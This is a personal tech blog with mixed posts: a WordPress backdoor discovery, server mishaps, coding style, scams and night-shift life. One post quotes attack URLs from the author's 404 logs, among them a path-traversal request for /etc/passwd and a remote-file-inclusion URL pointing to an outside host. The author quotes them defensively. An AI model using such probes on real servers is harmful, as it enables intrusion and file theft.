Ramblings of Narc

So I’ve just had the marvelous opportunity of digging into WordPress yet again after, for the second time, I found some funny iframes running around on my website.

The first time this happened, I cleaned up and changed permissions around so that a reinfection wouldn’t make so much work for me. The problem is, although this attack has been observed multiple times, the actual infection vector is either unknown or unpublished — or at least, it wasn’t at the time. I honestly didn’t spend that much time searching for it this time around.

What I did do this time around was dig around a little more and… I found this. If you take the PHP code from there and run it on a webserver (ideally one that only you have access to… like an Apache server running on your personal machine), you’ll see that it’s… scary. Really, really scary. As far as back doors go, this is mostly par for the course, offering pretty much complete access to as much as the Apache user can do, up to and including running a shell so the attacker can run arbitrary code of any kind under the Apache user’s credentials.

Entertainingly, this really decent back door doesn’t seem to have been used much — a real human would’ve dug in further and tried to get root privileges (which, admittedly, might not be that easy; I’m not a security expert), but this (apparent) bot seems to have satisfied itself with throwing in some iframes and calling it a day.

Now for the meat, and the reason for the title: as far as I can tell, the initial infection vector seems to be WordPress. I’m perfectly willing to allow that WordPress doesn’t have any more holes in it than any other sufficiently large PHP application (certainly willing to allow that my own apps have holes in them aplenty), but WordPress’s popularity means that there are plenty of bots hunting around the Internet looking for known exploits and taking advantage of them when they can be found.

For my part, I can’t say I care terribly much. There’s nothing really sensitive hanging around on my web server, and those few bits that are mildly important are well and truly secured away from the apache user specifically so that an exploit like this wouldn’t be able to get its hands on anything I actually care about.

I did want to write about what I found, though, so that hopefully others would be able to find the information about the (much bigger and scarier than apparent) backdoor that nobody seems to have written about. For reference, I found it in the WordPress “classic” theme, in its functions.php, trying to hide under a reasonably long set of blank lines.

Update: A little googling around found a previous report of this same piece of code. It’s got pictures, too!

After a few weeks of vacillating on the subject, I’ve decided to take the plunge and start offering my services in exchange for cash.

In short, I’m a very good debugger and would like to get in touch with small businesses and people that can’t afford a full-time programmer dedicated to the task, and who have some bugs they want taken care of.

I have paypal and moneybookers, you don’t have to pay me until I get the job done, but I reserve the right to refuse service to anyone as protection from people who get work done but won’t pay for it.

If you’re interested, the link is narc.ro/service. Tell your friends!

Holy crap, has it been that long, really? Actually, I probably shouldn’t draw attention to it, should I? I vaguely recall reading that people are irritated by this kind of thing. Hell, I dunno.

There haven’t been many updates from me because I haven’t had much time for generating content, nor do I have that many interesting things to talk about, anyway. Work has been… well, busy, obviously, but also unusually tedious. This is new to me, but it certainly gives me an idea of where the phrase “working stiffs” came from. Nonetheless, we press forward, since nobody wants to hear about any of that (nor do I believe anyone appreciates the excuses).

I actually want to bring to your attention some stuff I’m interested in and one thing I’m proud of. Let’s get pride out of the way first, yes? I don’t know and can’t be bothered to check how many people have seen this blog’s About page, but if you go look at it now and you remember what it used to look like, you’ll notice something new… a photo! I’ve actually been meaning to add one for almost a year now, and today I finally decided (on a whim) to get my webcam working again (not for any particular purpose, mind you), and while playing around with it I managed to snap a particularly good photo.

Come to think of it, I suppose the reason I wanted my webcam running is because I wanted to see myself in a mirror without actually getting up to find one (and without leaving my headphones behind). The reason for that was to see how I look with the new glasses. They’re non-corrective “computer” glasses, which are supposed to prevent eye fatigue from prolonged staring into computer monitors. I was skeptical that they would provide any real effect, but having worn them for a few hours now while sitting here, they do seem to help quite a bit. Normally, by this point I’d be having trouble focusing and be forced to squint to keep going — which hasn’t happened yet. I’m not entirely convinced it’s not just a placebo effect yet, though, but every little bit helps. And they look great on me, too, which is a definite bonus.

Now, for some stuff I’m interested in that I’ve picked up recently. Firstly, some webcomics:

• Irregular Webcomic!
• Darths and Droids
• MS Paint Adventures

That last one is such an awesome concept that it’s worth expanding on a little bit. According to the site, “MSPA stories exist in the format of “mock games”, specifically text-based adventure games.” This was a definite draw for me, in spite of having pretty much never played an actual text adventure — the name “adventure” itself was enough for me. Maybe that says something about my psychological profile, I dunno. One thing of note about the so-far sole completed story (Problem Sleuth) is that it eventually seemed to reach a level of complexity that made it nearly impossible to fully follow — which gives us another draw: pushing one’s limits! I’m having much better luck following the story in the current adventure, Homestuck. It’s not easy to quantify why MSPA is so amazingly fun — you just have to see it for yourself.

Beyond all of that, I’m finding myself enjoying a bunch of not-new-even-to-me things:

• TVTropes
• Ars Technica
• jQuery

I’ve actually been meaning to rave about jQuery for a while now, but the truth is it’s all been said already by more awesome people than I (to whom I can’t link because I don’t really keep watch on their blogs and have no idea who they are anymore. Seriously, if I started following every blog that I ever read anything interesting on, I’d end up just reading updates for 10 hours a day).

So, that’s it for now. Hopefully it won’t be another 6 months until the next update, yes?

a.k.a. “Inter-dimensional vortexes? In my database?”

Yah, so I screwed up. Back when I moved the Web server from one computer to another, I thought I might’ve forgotten something important, but couldn’t quite figure out what it was. Then I forgot about that, too, and everything was just fine until yesterday morning…

Being that I was pissed off by the web server’s inability to hold an erection function properly without periodically stopping and starting udev (seriously, I still have no idea why that was happening!), I decided a dist-upgrade to Jaunty might help. I’d already done a couple of them, so I wasn’t totally going into the unknown… And it seemed to work, too! It asked for a reboot, I gave it one. It lost its nvidia driver, but asked for another reboot, so I gave it that one, too… and then things got heavily reminiscent of the Windows days.

You see, after that last reboot, the system would come up, all the way through GDM and showing the nice xfce desktop… and then reboot. Out of the blue. Lather, rinse, repeat.

At this point, I realized I was more or less fuckt… so I dug up a fresh Jaunty iso, burned it to about four CD-RWs before one finally worked, and found I was supposed to plug in a monitor because the install GUI wouldn’t come up on the TV, and… sort of backed up the interesting bits. You know, the old /home, and the old /etc, and also the /opt/www dir.

Did you notice me forgetting anything at this point? If you said “THE DATABASES!!!1oneone!”, you’d be right. Yes, I forgot to back up the databases. The reason I forgot is that I remembered there being 4x daily dumps to a directory inside /opt. Which there are. On the old web server. The one that’s not running anymore.

So, long story short, the databases are back to where they were before I finally disabled apache on the old web server. I’m going to recover the old posts from Google cache (come to think of it, I probably also still have them in the Atom feed) and repost them, but the 4 comments that were posted in the mean time are gone. So sorry.

And after I do that, I’ll turn on that damned automated backup…

Inspired by Jon Eveland‘s qqint, I’ve produced (from scratch) a personal version written in PHP and using an SQLite backend that anyone can set up and use themselves.

I started by putting up some slightly rambly QQSearch documentation that should explain what’s what, and why. Because the docs came first, they may be slightly out of date. They are also slightly ahead of the current state of development, as aliases have not yet been implemented (though it should be reasonably easy to do so).

You can use a demo of QQSearch with the really dangerous bits removed (i.e. no adding and deleting URL mappings).

If you like that, you can go ahead and:

• download QQSearch v. 0.1 as .tar.gz (about 100 KB), or
• download QQSearch v. 0.1 as .zip (about 300 KB)

Short instructions for use: download, extract to the htdocs folder of a PHP-enabled (version 5.1 minimum!) webserver, and browse to it.

If you need more help than that, feel free to contact me and I’ll do my best to get you sorted.

So, I must be the last person on the Internet to have heard of webmin — or, at least, the last person who administers a bunch of Linuxen to do so.

After installing it yesterday on Bast, I discovered, among other things, that webmin has a neat little interface to configure BIND. Since that was basically the one thing I hated having to manage on my own, I decided I’d give it a try — and boy, did it ever work nicely. I’ve managed to transfer the narc.ro zone from the shitty MS server to a nice, neat little BIND9-managed zone on bast.

On top of that, I’ve finally segregated *.narc.ro and *.internal.narc.ro, which makes the DNS a lot cleaner.

In other recent news, however, I did a stupid (this is where the “oopsies” part of the title comes in): I had to change Themis’s IP from 192.168.0.1 to .100 (well, I didn’t have to, I was just lazy), and… I forgot to change the port forward for the DNS. Which ended up breaking my e-mail deliveries, as well as most of everything else related to narc.ro, I’m sure. Luckily, since I also had a reason to change that forward, I caught it relatively quickly (yeah, it only took a couple of days, heh).

So if you were wondering why you couldn’t reach narc.ro, or why your RSS reader was having trouble getting updates, now you know. Aren’t ya glad?

(or, having fun with a public-facing Internet presence)

So, since I upgraded the main narc.ro site, I got a custom 404 handler in the bargain — one that emails me whenever it’s hit. Okay, so it initially sent 500 Internal Server Error, but I’ve fixed that part.

Anyway, the result of this is that I get a whole bunch of very fun emails when people try to hit pages on narc.ro that don’t exist, such as:

• http://www.narc.ro//gazelle/?template=../../../../../../../../../../../../../etc/passwd%00
• http://86.104.40.152/roundcube//bin/msgimport
• http://www.narc.ro/gazelle/?template=http://madrigaldelavera.es/joomla/mambots/editors/idit.txt%3f%3f

I hope I don’t have to tell you not to visit those links — they don’t do anything (except email me, which is annoying).

I’m particularly interested in the first on that list, which is also the most recent. The theoretical narc.ro/gazelle path would have been /opt/www/vhosts/www.narc.ro/htdocs/gazelle. Let’s count the ../es in the path our attacker tried — 13 of them. More than enough to get out of the 6-level deep path and into /. And I probably don’t have to tell you that /etc/passwd is a file you really want to guard pretty well — it has all your users in it (/etc/shadow has the hashed passwords, too, but that one’s protected so an ordinary user (or the apache user) would be unable to read it).

So, what protected me, in this case? Firstly, it was the fortunate fact that the script the attacker was trying to hit doesn’t exist; and second, that wherever I have scripts that are able to take user input for a path (for instance, img.narc.ro works like that), I’ve been careful to put in protection against relative path inputs like that one. http://img.narc.ro/../ just won’t work.

This is a semi-adequate level of protection for me, since I write my own scripts — I don’t have to worry about any mistakes made by anyone other than myself, and I’m pretty careful around this stuff.

But note that I am some random corner of the Internet almost nobody knows about, and I’m still getting attacked. That means no matter who you are, if you’re serving Web content, you must take precautions. And even if you’re the only developer on the system, you should still do your best to contain the threat. Defense in depth should be your key phrase. That’s why I’m currently looking into mod_chroot for my Apache2 installation. Your solution may be different, but have one, or at the very least, be aware that you will be attacked, and have some plan to recover from that if, or when, an attack is successful.

I want to comment a bit more on Coding Style, this time as it very much applies to what I like to see and what I don’t.

At one point, I played around with Python, and I remember liking it to some extent. But, surfing around the Web, I keep finding references to one particular feature of Python I don’t like: indentation-based scope. For the longest time, I put this down to mere preference (“it just looks better to me with the curly braces”), but thinking about it now, I realized: I like the curly braces. That is, I find them useful in the task of reading code, mostly because they introduce a bit of vertical mostly-white space, which adds to the scannability of the code.

Incidentally, I dislike Perl‘s “feature” of forcing you to put curly braces around single-line if() { /* code blocks */ }. In my mind, the code block is a part of the if, and there’s no reason to separate it with syntactic garbage. Now, I know Perl also offers the alternative syntax of putting the if part after the single line statement, and not requiring curly braces there, but reading “do(something) if(x is not null)” makes less sense to me than “if(x is not null) do(something)“. I assume that’s because of the peculiarities of the mental model I create in my mind, and like everything else I’m talking about in this article, this is a very specific “feature” of my own brain. Also, I can eventually read the former, too, it just requires an extra bit of mental effort.

What I also can’t stand are the semi-abbreviated code styles that urge you to put blocks’ opening braces on the same line as the if, while, or function definition that starts them. This harks back to my original preference of curly braces as whitespace — I’d rather see:

if(x is not null)
{
    x += 0;
    if(empty(x))
        return;

    do_something_with(x);
}

than something like:

if(x is not null) {
    x += 0;
    if(empty(x)) return;

    do_something_with(x);
}

And let’s not talk about “} else {“. That kind of thing should never have existed.

If you can read PHP, an example of my code is available on narc.ro, and was referenced earlier in this blog, as part of a discussion on recursion.

Finally, my preferred tab width is 4, and I prefer files that have been formatted using TAB (0×09) characters as opposed to multiple SPACE (0×20) characters. That’s because I can then read code written by people who prefer tab widths of 2, 3, or 8, or whatever else, and not care because the formatting will still be consistent. Which is also why I tend to turn on whitespace rendering when I edit, and correct to tab-indented whenever I can do so easily.

So what are your personal preferences, and what makes them work for you?

Recently, I remembered a joke I’d heard a few times before. Allow me to share it with you, maybe you’ll recognize it:

Johnny was a devoutly religious man — he believed very strongly that God would help him win the lottery, and so, every day for forty years, he prayed to God to help him win the lottery.

Unfortunately, one day Johnny was hit by a bus. He died on the way to the emergency room, and being a good and faithful person, was admitted to Heaven, where he met God for the first time.

“My Lord,” he asked, “do you remember me praying to you all these years for your help winning the lottery?”

“I do,” God replied.

“Why did I never win?” Johnny asked. “Was it a test of my faith?”

“Well, Johnny,” said God, “did you ever consider buying a lottery ticket?”

This joke reminds me of the several lottery scams I’ve received in email over the past few years (the connection is obvious, I’d say). Maybe you’ve received one or two yourself — they tend to be very generic in their greetings (“Dear sir or madam”), tell you you’ve won some sum of money in a lottery (usually the national lottery of a country you don’t live in), and then ask you for personal information (full name, address, telephone number).

Now, clearly these are scams, and the very first sign should be “I never bought a lottery ticket!“. There are further signs, too — like, why don’t they already have your personal details, why aren’t they greeting you by name, and so on. As far as I know, these are another type of advance fee scam, whereby you will be asked for some sums of money needed to “clear” the funds from your winnings; those winnings, you will never see, as they never existed in the first place.

But the actually scary part here is the fact that all of these types of emails that I’ve received have had perfect spelling and grammar (well, excluding typos, of course). Many times (including recently), I’ve seen recommendations to watch out for misspellings and bad grammar as a first indicator of a scam. Assume phishing emails will follow the trend here — phishing is notoriously more difficult for non-technophiles (“regular people”) to detect, so we tend to tell them to look for the first warning sign: spelling and grammar. If we don’t have those for much longer, then we need to start focusing on teaching people how to tell the somewhat more subtle clues instead — like checking the URL — or even just plainly telling them to just assume that if an email asks them for personal information, then it is a phishing scam and should be ignored.

And it extends still further — those websites featuring popup ads offering you “free anti-spyware scanners” that are actually spyware themselves, they’re going to get better spelling and grammar, too. Overall, what we’re seeing here is all those years of telling people to look for these common signs are coming to fruition — the scammers, spammers, and malware authors are listening. And if that isn’t a scary thought, I don’t know what is.

I don’t believe I’ve mentioned this here on the blog before, but I work what might be defined as the night shift. More accurately, I work eight hour “days” in the time zone of my (de facto) employer, who happens to be in Toronto, Ontario, Canada. What this translates to is a seven hour time difference (with the exception of daylight savings, where for one week we’re only SIX hours apart… but that’s another blog post), and it effectively means I work from 8 PM to 4 AM every weekday.

Why, yes, that does mean I work Saturday mornings. It also means I don’t work Monday mornings. No big difference, if you ask me.

Anyway, the major problem with doing all this is, as pretty much anyone who’s ever worked night shift will tell you: other people. More specifically, having to function in a world where pretty much everybody (that matters) works on a different clock than you do, which means they’re not going to think twice about calling you at 10 AM to ask you if the online order you made at 2 AM the previous morning was still valid, and if so, to tell you how long it’s going to take until delivery can be made. And they shouldn’t have to think about it, really, since you’re the edge case here and they have to optimize for the common cases.

But, what this also translates to is a situation where it’s very possible to not be able to sleep (or at least, not be able to sleep long enough), especially if, like me, you have trouble falling asleep again after having been woken up. Which leads me nicely into a very short story: last week.

Last week, the winter holiday period ended, and a lot of people went back to work. This effectively meant that the two online orders I’d made over the holidays finally got some human attention, and those humans were very interested in getting the backlog of orders cleared up. As a result, I got an average of six point something hours of uninterrupted sleep last week. Now, I know people generally tend to vary a lot in how much sleep they need, and I suspect I’m off to the side of the bell curve here, but I generally tend to need about nine hours of sleep per day, or else I get… slow. And being slow makes me cranky, because my brain isn’t processing information as fast as it should, and it pisses me off. To all the people who’ve ever had to deal with me in this state: I sincerely apologize for taking it out on you. I promise, if you weren’t sure, it was never anything personal. I like you guys, and I appreciate you all.

But that’s just one of the problems I’m facing, and if it were the only one, I could deal with it very simply (as I usually do, actually): by making fewer purchases, and lumping things together as much as possible. Unfortunately, the really big problem, as highlighted very nicely just now, are the neighbors.

Let me make a little aside here and explain my living circumstances: I live in a two bedroom apartment I share with my mother (for two simple reasons: 1 – she’d be basically alone now that my Dad is dead, and 2 – I don’t have to pay rent), in an eight-story building of over 100 such apartments (some smaller, most the same size), facing the back of the building, which is shared with three other very similar buildings (which creates an almost square enclosure — come to think of it: my house, let me show you it). We also have a high-school on the other side of the square (that C-shaped thing with partially shiny roof in the picture (it’s all shiny now, if you’re wondering)).

What all this adds up to is an enormous opportunity for noise. At night, when all the kids are home and (probably) asleep, and all the people in their respective homes are (almost definitely) asleep, it’s so quiet you could hear a pin drop eight stories below. During the day, on the other hand, it’s madness. Now, I’m happy to enjoy some pretty damn good windows (the physical kind, not the Microsoft kind), but even with them, if I haven’t made it to sleep by 6:30 to 7 AM, I’m going to have a hard time falling asleep with all the noise outside.

And that fails to mention the (very many) times the neighbors decide to do some home improvement. For the most part, once I’ve managed to fall asleep, it takes a lot to wake me up again. Unfortunately, most home improvement nowadays seems to involve some very loud power tools, especially drills, which not only make an incredible amount of noise when you’re around them, but which also make noise that tends to travel through the walls, because that’s what the drill bit is being applied to. The end result of this has been innumerable times that I’ve been woken up by the horrible noise of drilling, accompanied many times by a desire to use that power drill on the neighbor’s head. Unfortunately, this being Romania, that kind of activity is not as rare as someone from a civilized country might think it is. Instead, it’s almost a daily occurrence during the summer, and at least weekly during winter (WTF?). Sometimes I wonder how long it’s going to be until the building itself, having been drilled so full of holes, is going to crumble under its own weight. But I digress.

The conclusion of all of the above is that going against the “rules” of society, be they the simplest ones like what time it is, or the really complex pseudo-religious wars of abortion and gay rights and all that other stuff, is not for the faint of heart. It’s tough, in that it’s very difficult, and you may often be pissed off at the world around you just for being the way it is. But if you think it’s working, keep doing it. Just, don’t forget to vent once in a while.

The previous post was Blogging For The Perennial Lurker, a somewhat meta expression of my experience as a habitual information consumer rather than producer.

The first post in the series is Recognizing Failures, explaining how to handle a potential failed project, and what to do about it.

I’m part of what’s believed to be the majority of Internet users — a consumer of information, for the most part, rather than a producer. Obviously, this blog is an attempt to shift my own personal ratio further towards the producer side, but I still most often find myself reading a lot rather than writing.

I would estimate that slightly more than 50% of my online reading is sourced from blogs, forums, or some derivations thereof, all of which tend to offer a relatively low barrier of entry to the process of commenting on the original article. And pretty much all blogs I’ve read that have said anything on the subject have stated that comments are a supremely important part of any such system (comment spam notwithstanding), because they allow the process of owning a blog and creating content for it to become a two-way interaction with its readers. I agree with this view, but I have some caveats to add:

• Firstly, I have often come across interesting articles whose discussions I would’ve liked to take part in, or about which I had some insights, or wanted some clarification. Almost invariably, skimming through the comments to such an article tended to show other readers had been there already, and already asked the same questions I was going to ask. What this implies is that for any given article, there are generally a limited number of potential interesting, on-topic comments that can be added. Beyond that point, the resulting communication, if any, is likely to be extremely repetitive, and a potentially misunderstood repetition of the previously well thought-out information at that.
• Secondly, as the logical extension of the above, when reading an older article from even a moderately successful blog owner, the likelihood of making a useful addition to the discussion tends to drop proportionally with the age of the article. Caveat to the caveat, though: if older posts have few (or no) comments, they are likely to contain plenty of hidden gems of discussion waiting to be uncovered.
• Thirdly, there are a lot more interesting people than you think there are out there, who think the same way as you do, whoever you are.

These are possibly common-sense observations, and potentially I’m repeating what a lot of people have already said, but that follows from my first point above. And the most interesting implication of all this is that, to be a blogger, one does not strive to write things that have never been written before — because that’s impossible. Instead, one acknowledges that there are other people who have expressed the same things they are expressing, and instead one tries to write successfully in the battle for popularity.

What this means, in this context, is that if you’re considering blogging as a hobby, with a goal of popularity — being read and written about — you should be looking towards:

1. Maximizing the number of potential interesting comments, thus giving your readers the chance to comment — giving them a stake in the success of your blog.
2. Writing a lot. I don’t want to add any quantifiers here, because “a lot” means different things for different people, and depends on too many factors to enumerate, but I will attempt to explain why: because every new post you write opens up a new series of potential comments, and reduces the average age of posts on your blog. Be forewarned, though: this is a diminishing returns function — the older your blog, the more new posts are required to reduce the average age. On the other hand, if your older posts are poorly commented on, new posts (and hopefully new readers that go with them) increase the older posts’ chances of coming out into the limelight and having their moment of glory. Which also has diminishing returns, of course.
3. I’m not sure what to do with the third point, honestly. Perhaps the rule here should be: be confident that, however poor your popularity might be now, there are people out there willing to read your posts and think about what you’re saying. At the same time, don’t forget that there are likely to be even more people who disagree; and more people still who don’t want to think about it. Don’t be discouraged by this! Accept it, and have your delete button/link handy for the inevitable flame-bait and trolling.

The previous post was One Is The Most Important Number, about not repeating yourself in software development.

The next is Living In A World Out Of Synch, a long ramble about working what is, effectively, “the night shift”.

Apparently, spammers’ botnets didn’t work very hard over this holiday season — I only got two spam emails between the 25th and today. Quite interesting.

I’m sure any half-decent software developer has had this drilled into their minds many times over, but perhaps it’s worth repeating (otherwise, feel free to skip this post): don’t repeat yourself!

Now, I’m probably a statistical outlier in that most of my programming education (and computer education in general) has been of an informal nature: I taught myself. So when trying to get points across to others I tend to refer to my experiences for examples of what can go wrong. So here’s how I ended up learning the “don’t repeat yourself” rule:

Way back in 2005, I was trying to figure out how I could standardize my PHP applications’ layouts on disk. I’d started in early 2004 with a single firm idea: that includes went into a separate subdirectory, from whence they could be referenced by any script the application was comprised of. From there, I got the idea of doing the same for images, stylesheets, and so on. By early 2005, I’d set up a simple template system I still use today, consisting simply of text files with placeholders for variable data. For example, this would be a valid template text:

Hello, {{UserName}}, and welcome to {{ProgName}}! Where do you want to foo today?

The bits between curly brackets are the variables, and they can get filled in with basically any text you want. For instance, set “UserName” to “Narc”, and “ProgName” to “CMBlog”, and you get:

Hello, Narc, and welcome to CMBlog! Where do you want to foo today?

Simple, clean, and surprisingly fast, at least in my use case.

I liked this so much that I decided to use it in all my personal projects. And that’s where I started running into trouble.

You see, what I ended up doing was copying the code from one project to the next, but then I’d find a bug in it and have to update all the copies. Can you say, oops? But wait, it got worse: I had some ideas for improvements, extra features that would be handy, like automagically including other templates into the current one by using a special version of the curly brackets placeholder. But whenever I thought of it, I either added the improvement only to one version of the code (whichever the latest project I’d been working on had been), or I didn’t add it at all because of this duplication tax.

Now, clearly, the tax is not that high, after all, I only needed to copy some files from one place to the next. Maybe I’m just too lazy for my own good (though there is some belief that laziness is a good feature for programmers, but that’s a topic for another post), but clearly the multiple copy model wasn’t working for me.

So I decided, instead of making these multiple copies, I would keep all the interesting, reusable bits of code in one place, and just include them as needed. But I also knew that reading in all those bits of code would be a performance hit if they weren’t needed, so they had to be split up into segments of functionality. Like the template system I just described above, or a set of functions that make database interactions less painful.

What I ended up creating was a very interesting (to me) system of includes driven by a bunch of configuration variables. You could set a variable (a key of a well-defined and standardized array) and the bits of code you’d need would be included, and you could use the functions you needed without including any of the dozens of other functions (the current count is 176, if you’re curious), and thus without wasting CPU time waiting for unnecessary resources to load from disk. That system is now called NeoFW and I still love it very much. It lets me make changes in one place, and have them show up instantly in all the places it’s used.

Let me restate that, in case I haven’t bashed you over the head with it enough: I make one change in one place, and it shows up everywhere!

On top of that, this code provides an interface for user-handling functions, meaning I can have a user log in only one time in one application, and have him logged into all of them at the same time. This is a wonderful change from the previous implementation where I had to be careful to use the same session variables across all applications, and the same session storage method, and heck, the same code, for that matter. Which is why it was perfect for this system.

Generalizing from this example, we find that it’s a very good idea not to duplicate code when you can help it. Don’t repeat yourself. When you repeat yourself, one of two things (or a combination thereof) is bound to happen: either you’ll end up with synchronization issues (some versions of your code work differently than others), or you won’t want to make any more changes to your code because it’s so much of a hassle to keep track of where else that same code exists.

If I’d started with a Linux server, I’d probably have ended up using a lot of symlinks, and then I wouldn’t have made NeoFW, which would be a shame, because I’ve learned many useful things while putting it together. But I couldn’t have failed to learn this lesson: that the best number of repetitions of your code is one. Not two, not four, but one. And, of course, five is right out, as Monty Python taught us.

(or, just how much can you chew?)

Way back in late 2005 (a lifetime ago, as far as I’m concerned), a friend of mine came for a visit one day. He was coming to me on behalf of a (non-mutual) friend who needed a programmer because he had an application in mind. He tried to explain the application to me, and on the face of it, I didn’t think it was a particularly difficult one. I still don’t, actually, but that’s a purely academic distinction at this point.

So because I didn’t think it was going to be that difficult, I went ahead and told him to have his friend contact me; he did, and he did, and we met, and I got to sketch out a reasonable idea for the program both in my mind, and hopefully in the client’s mind as well.

And then things got bad.

I strongly suspect I was right, that the project was not particularly difficult. I also suspect that, just as I couldn’t finish (or even start) it then, I would be completely unable to finish it now. It’s just beyond my capabilities.

The first hint of this “too big to chew” property of the project was when I tried to start writing some kind of database abstraction for it and kept coming up with flaws in that abstraction. I had gotten a number of details on what the final application would have to deal with, and even though I had decided (together with the client) that the initial version would be limited to some much simpler-to-model data, it became more and more clear that this initial iteration would have to be thrown away almost entirely after its implementation.

And here’s where I went wrong: I could have created the initial, very limited application. It would’ve had to have been (at least partially) thrown away after its launch, and the next iteration would probably have been more complex, but it would have been something tangible, more than just a concept in our heads, but something that could be interacted with, could be tested, could be considered for the recycle bin or for the improvements treadmill. Instead, I froze. Almost literally. I couldn’t write the code. I couldn’t make it happen. All I could think of was how complicated an architecture would be required, and how it was so completely beyond me because man, I’ve never written something like this before and I’m so fucked; I told this man I’d deliver something and now I can’t deliver, I can’t do it, and I’d rather die than see this man again and dash his hopes after I made it sound so good…

Now, if that sounds like I’m maybe hiding the fact that I couldn’t bear the shame of not being able to write something, and I’m lying to myself (hello, armchair psychologists out there on the Interwebs!), the fact is I’m not. Yes, I was ashamed, but not that I couldn’t do it — I was ashamed that I’d ended up lying to my client about being able to do it. And, to be honest, I don’t think I even ever said I would be able to do it, but I’d made it sound so good, like it was just a few steps away from being real… which, of course, it never had been — except in my head. Before I’d really thought about it, that is.

So, the lesson I took from this was: don’t promise you can do something you’ve never done before, and don’t make it sound like you can. Because if you end up biting off more than you can chew, you’ll make a liar out of yourself, and your client will not only not want to hire you again, but they will also tell their friends that you’re unreliable, that you make promises you can’t deliver on, and that will fuck you more than anything. Obviously, this is just after-the-fact reasoning, the real reason for me was that it made me feel like shit — but it also happens to be true, and my feeling made me look at that, analyze it, and see it for myself. And now I can share it with you, anonymous reader.

The next post in the series is One Is The Most Important Number, and refers to the age-old programming concept: “Don’t repeat yourself”.

That’s normal, really. It’s true, I don’t tend to post much usually, especially when things are going well.

And boy, are things going well. With the sole exception that I’m lonely (and, honestly, it would be a surprise if I weren’t), everything else is perfectly fine. I very much enjoy my job, I can afford to make my friends and family happy, and I feel good about myself. That makes me happy.